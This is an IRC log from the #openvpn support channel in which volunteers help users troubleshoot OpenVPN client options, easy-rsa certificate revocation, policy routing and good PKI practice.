12:02 <+pekster> It's apparently not a valid certificate (you're missing the line that contains the text "-----BEGIN CERTIFICATE-----"
12:02 < tw> Ah, crap, I just rechecked the config and this is one of the tcp ones, not the UDP ones. http://pastebin.com/waUEBdZN
12:04 <+pekster> tw: I told you: don't use --persist-tun of yes, this will fail in exactly this way
12:04 <+pekster> And why on earth are you pushing a route when you're acting as a _client_ ? That will never do anything useful
12:04 < memand> pekster: The file is empty, including the original on the server where I made it... I have no idea what caused that :P
12:04 < memand> Probably some mistake on my side
12:05 < tw> Not exactly sure why that line was added. I will zap both of those lines.
12:05 < memand> And thanks
12:05 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:06 <+pekster> tw: The issue with --persist-tun is that you 1. override the DNS server to this client, 2. keep the routes/interface up during restarts, 3. during a restart, the connection is "lost" but the interface, addressing, and routes all stay up. 4. You can't reach a host you have a route for over the VPN when the VPN has no data transport
12:06 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:06 <+pekster> Fixing #2 by removing that line as I suggested resolves this issue
12:06 < tw> That route line isn't in the template, someone must have added it to this particular cfg.
12:06 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:06 < tw> Thank you for explaining it for me.
12:07 < tw> (by "that line" i mean the route)
12:07 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:08 < memand> pekster: I just tried remaking the certificate with the easy-rsa script (build-key user) but I got an DB error whitch I suspec is because I allready have a cert with that name in my db, can I delete that cert and remake a new one with the same name somehow?
12:09 <+pekster> memand: Revoke it first
12:09 <+pekster> (which ironically won't work if you don't have the cert in question. You can check for a serial-number folder for a backup copy though)
12:10 -!- MadMerlin|work [~neil@206-248-184-9.dsl.teksavvy.com] has joined #openvpn
12:10 <+pekster> Something like 01.pem, 02.pem, etc. If you don't have that, openssl won't (easily) let you revoke it and you should just use a different CN (and keep better track of your certs in the future)
12:11 < memand> pekster: I have the 01...pem files
12:12 < MadMerlin|work> say i have a multi-homed openvpn server (eth0 and eth1), i want all traffic for some clients to go through eth0, and all traffic for other clients to go through eth1
12:12 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
12:12 < MadMerlin|work> is this possible, or would i be better of setting up two separate servers?
12:12 <+pekster> memand: You should be able to call revoke-full on that then
12:12 <+pekster> Or copy the correct pem file to the old name your cert had
12:12 < memand> pekster: I'm just reading throught them to find out whitch one is for who
12:13 <+pekster> MadMerlin|work: It's possible, yes. You need policy routing for that. Judging by your interface names that's Linux, so you'd need to define the traffic to route out each interface at some point using `ip rule` and send traffic for the non-default interface to a secondary routing table
12:13 < tw> pekster: I removed the persist-tun line and simulated a connection interruption. It seems to have done exactly what it should now. Thank you.
12:14 <+pekster> MadMerlin|work: LARTC's howto has a good primer on doing that, and #netfilter is a bit more on topic for Linux-specific policy routing questions
12:15 < MadMerlin|work> pekster: i figured that was the answer, the kink in that is that my interfaces are a "restricted" network and a "non-restricted" network, they can both ultimately connect to the same set of ips, but one is firewalled and one is not
12:15 <+pekster> You might just consider running a firewall then on the openvpn server and statically assigning the restricted clients IPs that the firewall treats uniquely
12:16 <+pekster> Optionally --client-connect can add in firewall rules per-IP using a single pool too, if you prefer a more dynamic/flexible approach not requiring static IP assignment (and unique rules per client name)
12:17 < MadMerlin|work> ah right, with static client ips, i could probably have the firewall mangle the packets so they're forced onto an interface
12:17 < memand> pekster: Hmm, I have the .pem files for everyone else but the one that I need... Considering doing a clean-all and starting rom the top
12:17 < MadMerlin|work> ok, thanks
12:18 <+pekster> MadMerlin|work: The firewall won't force them onto an interface, no. I was suggestiong you firewall on the openvpn server instead of (ab)using policy routing as a firewall if the packets are going to the same place
12:18 < tw> linux firewall can force it out via a particular gateway.
12:18 < tw> via the ROUTE target
12:18 <+pekster> That's no longer supported
12:18 < tw> Ah.
12:19 < memand> Will it brake anything if I generate everything on one machine and then trasferre the /keys folder to the server?
12:19 < rob0> for quite a few years actually
12:19 < tw> then connmark + ip route
12:19 <+pekster> Maybe you have an ancient kernel that does though (why are you running something so old?)
12:19 < rob0> yep, ip route and ip rule
12:19 <+pekster> memand: It brakes good security practice, otherwise no
12:19 < tw> (I am, and that's a damn good question actually, but not my call)
12:20 < memand> pekster: I guess I can play some EVE while it generates on the server then :P
12:21 < rob0> You do not need client keys on the server. And generating them there is WORSE practice.
12:21 <+pekster> Right, that was my point about breaking good security practices
12:21 <+pekster> I have a brief writup on how the CA, keypairs, requests, and certs work:
12:21 < rob0> The server ONLY needs its own certificate, key, dhparam, and the CA certificate.
12:21 <+pekster> https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
12:22 < memand> Reading
12:22 < memand> The site's security certificate has expired!
12:22 < memand> :P
12:22 -!- gtw [~gtw@gateway/tor-sasl/gtw] has joined #openvpn
12:22 < rob0> haha, yes
12:22 <+pekster> The good news is your browser wouldn't trust it even if it haddn't
12:22 <+pekster> If you complain more I'll take it down and give you a .onion URL instead ;)
12:23 <+pekster> (just as untrustworthy, and harder to get to!)
12:23 < memand> lol
12:29 < memand> So I should just create the ca, sh and ta on the server and send them to the clients and then create the clients keypair localy?
12:31 < tw> CA on the certificate authority box, clients should generate their own private keys and certificate requests. servers should generate their own keys, certificate requests and dhparams. cert requests should be copied to the CA and signed, then the certs distributed appropriately.
12:32 <+pekster> ^ that. If you're following security best practices (people often don't because it's "more work" -- this is called the security vs ease-of-use trade-off)
12:32 < tw> (signed only if the x509 data is accurate, you can actually create an intermediate CA request, if you're nefarious.)
12:33 <+pekster> easy-rsa won't blindly accept the CSR X509 requested fields for things like CA cert status
12:34 -!- shinao1_ [~shinao1@41.58.35.78] has quit [Ping timeout: 245 seconds]
12:35  * memand is confused
12:35 < memand> Is thee somewhere I can read about this in a bit more detail
12:35 < memand> +?
12:36 <+pekster> memand: For all it matters, do your entire CA setup on the server. It's not as secure, but it matches what the official !howto docs reference on the topic
12:36 < memand> Ok :)
12:36 -!- MadMerlin|work [~neil@206-248-184-9.dsl.teksavvy.com] has left #openvpn ["Konversation terminated!"]
12:40 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:40 < memand> But I'd still like to learn how I would do it in a perfect world
12:45 <+pekster> Use a dedicated system for your CA under a locked down user account (not root, and not your daily user, if not a completely dedicated system if you're paranoid/security-concious.) Each entity (server, each individual client, etc) generates their own keypairs & request, sends the request to the CA system, the CA signs it, and returns the signed cert and a copy of the CA cert
12:46 -!- shinao1_ [~shinao1@41.58.43.202] has joined #openvpn
12:52 -!- theneb [~theneb@theneb.co.uk] has quit [Ping timeout: 248 seconds]
12:53 < memand> Ok, that's actually pretty simple
12:53 -!- theneb [~theneb@theneb.co.uk] has joined #openvpn
12:53 -!- francoisbeau [~francoisb@205.204.85.6] has joined #openvpn
12:54 -!- francoisbeau [~francoisb@205.204.85.6] has quit [Client Quit]
12:58 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
13:12 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:35 -!- shinao1_ [~shinao1@41.58.43.202] has quit [Quit: Leaving]
13:37 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
14:00 -!- ChrisH [~dg7pc@dslb-092-072-188-203.pools.arcor-ip.net] has joined #openvpn
14:01 < ChrisH> !welcome
14:01 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:01 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:01 < ChrisH> !route
14:01 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:01 <@vpnHelper> behind the server or client
14:02 < ChrisH> !serverlan
14:02 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:02 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:03 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
14:09 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Quit: No Ping reply in 180 seconds.]
14:09 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
14:09 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
14:09 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
14:18 < ChrisH> Thanks bot.  helped me a lot to find my typo
14:18 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
14:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:41 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
14:53 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
14:54 -!- gtw [~gtw@gateway/tor-sasl/gtw] has quit [Ping timeout: 240 seconds]
14:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
15:00 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
15:00 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
15:00 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:16 -!- mattock is now known as mattock_afk
15:18 -!- ChrisH [~dg7pc@dslb-092-072-188-203.pools.arcor-ip.net] has quit [Ping timeout: 246 seconds]
15:19 -!- ChrisH [~dg7pc@dslb-092-072-142-219.pools.arcor-ip.net] has joined #openvpn
15:44 -!- trumee [~parul@185.11.37.48] has joined #openvpn
15:44 -!- Denial [Denial@90.216.209.93] has quit []
15:49 -!- trumee [~parul@185.11.37.48] has quit [Read error: No route to host]
15:50 -!- trumee [~parul@185.11.37.48] has joined #openvpn
15:58 -!- sseann [~sseann@host8-34.sph.umich.edu] has quit [Quit: Leaving]
16:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:39 -!- raidz is now known as raidz_away
16:40 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:40 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
16:47 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Ping timeout: 240 seconds]
16:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
16:59 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
16:59 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
17:07 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:07 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
17:08 -!- cald [~cald@tsn109-201-135-220.dyn.nltelcom.net] has quit []
17:19 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
17:31 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
17:33 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:56 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:58 -!- ludde_ is now known as ludde
18:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:15 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 245 seconds]
18:17 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
18:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:52 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:59 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Ping timeout: 260 seconds]
19:00 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
19:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:09 -!- Falconor [~Falconor@unaffiliated/falconor] has quit [Ping timeout: 240 seconds]
19:11 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
19:15 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
19:18 -!- akurilin [~akurilin@208.185.21.146] has quit [Remote host closed the connection]
19:20 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
19:47 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:47 -!- krapper [krapper@23.21.191.223] has left #openvpn ["Leaving"]
20:47 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
20:48 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 264 seconds]
21:11 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:13 -!- Carbon_Monoxide [~cmonxide@14.0.143.99] has joined #openvpn
21:13 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
21:14 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:15 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
21:18 -!- Carbon_Monoxide [~cmonxide@14.0.143.99] has left #openvpn ["Leaving"]
21:39 -!- master_of_master [~master_of@p4FF244D7.dip0.t-ipconnect.de] has joined #openvpn
21:42 -!- master_o1_master [~master_of@p4FF2438B.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
22:00 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:19 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 260 seconds]
22:27 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
22:36 -!- memand [~memand@80-71-135-127.u.parknet.dk] has quit [Ping timeout: 245 seconds]
22:40 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has quit [Read error: Connection reset by peer]
22:41 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has joined #openvpn
22:41 -!- FaV1r3s [~FaV1r3s@2a00:d880:3:1::dc9:c86a] has quit [Changing host]
22:41 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has joined #openvpn
23:18 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has quit [Ping timeout: 245 seconds]
23:33 -!- elfixit [~Icedove@82.197.169.38] has quit [Ping timeout: 245 seconds]
23:34 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has joined #openvpn
23:36 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
23:36 < cornfeedhobo> this might be a stupid question, but can openvpn load multiple confs, or should it run seperate instances for each tunnel?
23:37 < cornfeedhobo> each server*
23:42 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
23:57 < EugeneKay> The second.
--- Day changed Fri Oct 18 2013
00:21 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 260 seconds]
00:23 -!- emid [~emid@192.241.162.156] has joined #openvpn
00:31 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:52 -!- mattock_afk is now known as mattock
02:04 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 245 seconds]
02:05 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has joined #openvpn
02:05 -!- Perun [perun@chao5.net] has quit [Ping timeout: 260 seconds]
02:05 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 245 seconds]
02:05 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 260 seconds]
02:05 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 256 seconds]
02:06 -!- Perun [perun@chao5.net] has joined #openvpn
02:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:08 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
02:08 -!- BtbN [znc@btbn.de] has joined #openvpn
02:09 -!- Serano [~serano@rooty.be] has joined #openvpn
02:26 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:48 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
03:03 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Connection reset by peer]
03:15 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:25 < crass> is the "Environmental Variables" section of the man page unmaintained since 2.0?
03:26 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
03:28 < crass> perhaps I'm misreading it, but its seems like most/many of the environment variables are not available to the scripts
03:31 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 245 seconds]
03:31 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-oeueqtqjbrkmeczv] has quit [Ping timeout: 264 seconds]
03:31 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-pkkbjtmpspftljwh] has quit [Ping timeout: 245 seconds]
03:32 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-edxhpixzagwyxyqh] has quit [Ping timeout: 245 seconds]
03:32 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-bmffyygdyhyybjfj] has quit [Ping timeout: 245 seconds]
03:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:37 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
03:47 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Read error: Connection reset by peer]
04:09 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
04:24 -!- silverfix [~tylekyle@dynamic-adsl-78-13-45-64.clienti.tiscali.it] has joined #openvpn
04:24 < silverfix> hello
04:24 < silverfix> can i use 2 vpn client at time on my win7 machine ?
04:25 < silverfix> I get this: All TAP-Windows adapters on this system are currently i
04:25 < silverfix> n use.
04:53 -!- aji [~alex@atheme/member/aji] has quit [Quit: dd if=/dev/null of=/dev/aji]
04:54 -!- aji [~alex@atheme/member/aji] has joined #openvpn
05:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
05:10 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:28 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xdvkzwaojaljnusb] has joined #openvpn
05:31 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-imjoqljvtjyrisrp] has joined #openvpn
05:31 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-abmqmwiuqppjypig] has joined #openvpn
05:32 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-hikuqjiphrhvrhyx] has joined #openvpn
05:33 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
05:34 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:03 < xeqution> I am attempting to have OpenVPN route only specific IP ranges via the OpenVPN server.  In the OpenVPN server.conf file I have the following:
06:04 < xeqution> # Routing
06:04 < xeqution> server 10.8.0.0 255.255.255.0
06:04 < xeqution> ifconfig-pool-persist ipp.txt
06:04 < xeqution> # push "redirect-gateway def1 bypass-dhcp"
06:04 < xeqution> push "dhcp-option DNS 8.8.8.8"
06:04 < xeqution> push "dhcp-option DNS 8.8.4.4"
06:04 < xeqution> push "route 118.147.32.0 255.255.224.0"
06:05 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:05 < xeqution> However, when I connect to the OpenVPN server, I view http://www.whatismip.com/ it shows the OpenVPN IP (where it shouldn't as it shouldn't be routing through there)
06:11 -!- kyrandesa [kira@dirac.vilant.com] has joined #openvpn
06:12 < kyrandesa> !welcome
06:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:12 < kyrandesa> !goal
06:12 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:13 < kyrandesa> does openvpn.net have some issues? I get "Database connection error (2): Could not connect to MySQL."
06:33 < xeqution> Yes
06:35 -!- silverfix [~tylekyle@dynamic-adsl-78-13-45-64.clienti.tiscali.it] has quit []
06:36 -!- Denial [Denial@90.216.209.93] has joined #openvpn
06:47 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:47 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:04 -!- memand [~memand@80-71-135-127.u.parknet.dk] has joined #openvpn
07:04 -!- memand is now known as Guest62472
07:09 < cornfeedhobo> EugeneKay: thank you :-)
07:16 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 246 seconds]
07:17 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 246 seconds]
07:17 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 246 seconds]
07:17 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
07:18 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
07:19 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
07:20 -!- ShapeShifter499 [ShapeShift@gateway/shell/panicbnc/x-onifbwbzaepsvtsw] has joined #openvpn
07:22 -!- [fred] [fred@konfuzi.us] has joined #openvpn
07:31 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
07:52 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has joined #openvpn
07:53 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has left #openvpn []
08:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:13 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
08:28 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn []
08:45 -!- moparisthebest_ is now known as moparisthebest
08:57 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:35 -!- xrosnight [~quassel@119.137.33.156] has joined #openvpn
09:43 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
09:43 -!- xrosnight [~quassel@119.137.33.156] has quit [Ping timeout: 265 seconds]
09:55 -!- xrosnight [~quassel@119.137.33.156] has joined #openvpn
09:57 -!- xrosnight [~quassel@119.137.33.156] has quit [Changing host]
09:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:57 -!- xrosnight is now known as alexHackathon
10:02 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 246 seconds]
10:12 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
10:40 -!- mattock is now known as mattock_afk
10:41 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
10:50 -!- raidz_away is now known as raidz
11:03 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:10 -!- speed_racer84 [~speed_rac@107.18.38.70] has joined #openvpn
11:17 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 620 seconds]
11:28 -!- ChrisH [~dg7pc@dslb-092-072-142-219.pools.arcor-ip.net] has left #openvpn ["thanks for helping!!"]
11:36 -!- speed_racer84 [~speed_rac@107.18.38.70] has quit [Ping timeout: 248 seconds]
11:48 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: No route to host]
11:54 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:05 < ljvb> hmmm.. thats some serious idle time.. 227 hours heh
12:14 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
12:30 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has quit [Quit: ZNC - http://znc.in]
12:32 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:42 -!- raidz is now known as raidz_away
12:44 -!- raidz_away is now known as raidz
12:46 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 272 seconds]
12:51 -!- AginLap [~AginLap-@109.201.154.151] has joined #openvpn
12:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:06 -!- raidz is now known as raidz_away
13:07 -!- raidz_away is now known as raidz
13:14 -!- alanjf [~ajf@unaffiliated/alanjf] has quit []
13:15 -!- raidz is now known as raidz_away
13:15 -!- raidz_away is now known as raidz
13:23 -!- alexHackathon [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 256 seconds]
13:25 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
13:25 -!- xrosnight [~quassel@119.137.33.156] has joined #openvpn
13:30 -!- xrosnight [~quassel@119.137.33.156] has quit [Ping timeout: 240 seconds]
13:34 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
13:35 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
13:49 -!- trumee [~parul@185.11.37.48] has quit [Ping timeout: 245 seconds]
13:51 -!- trumee [~parul@93.186.148.255] has joined #openvpn
14:09 -!- Guest62472 [~memand@80-71-135-127.u.parknet.dk] has quit [Quit: WeeChat 0.4.1]
14:29 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
14:41 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
14:42 < Sandfly> hi .. please what is the developer channel ?
14:45 < Sandfly> ok no dev channel just the mailing list
14:45 < Sandfly> never mind
14:45 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
14:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:36 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Read error: Connection reset by peer]
15:40 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
16:00 -!- AginLap [~AginLap-@109.201.154.151] has quit [Quit: Leaving]
16:11 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
16:13 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
16:15 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
16:15 -!- memand [~memand@0119600834.0.fullrate.dk] has joined #openvpn
16:16 < memand> Is it possible to use all the cores of a machine to generate the PKI with the easy-rsa scripts?
16:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:17 < Aketzu> key generation probably doesn't parallelize
16:17 < Aketzu> or at least openssl implementation
16:17 < Aketzu> but you can generate multiple different keys at same time
16:18 < memand> OK
16:25 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
16:28 -!- AginLap [~AginLap@87.252.75.130] has joined #openvpn
16:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
17:15 -!- Denial [Denial@90.216.209.93] has quit []
17:33 -!- AginLap_ [~AginLap@109.201.154.178] has joined #openvpn
17:33 -!- AginLap\ [~AginLap@109.201.154.178] has joined #openvpn
17:34 -!- AginLap\ [~AginLap@109.201.154.178] has quit [Client Quit]
17:36 -!- AginLap [~AginLap@87.252.75.130] has quit [Ping timeout: 248 seconds]
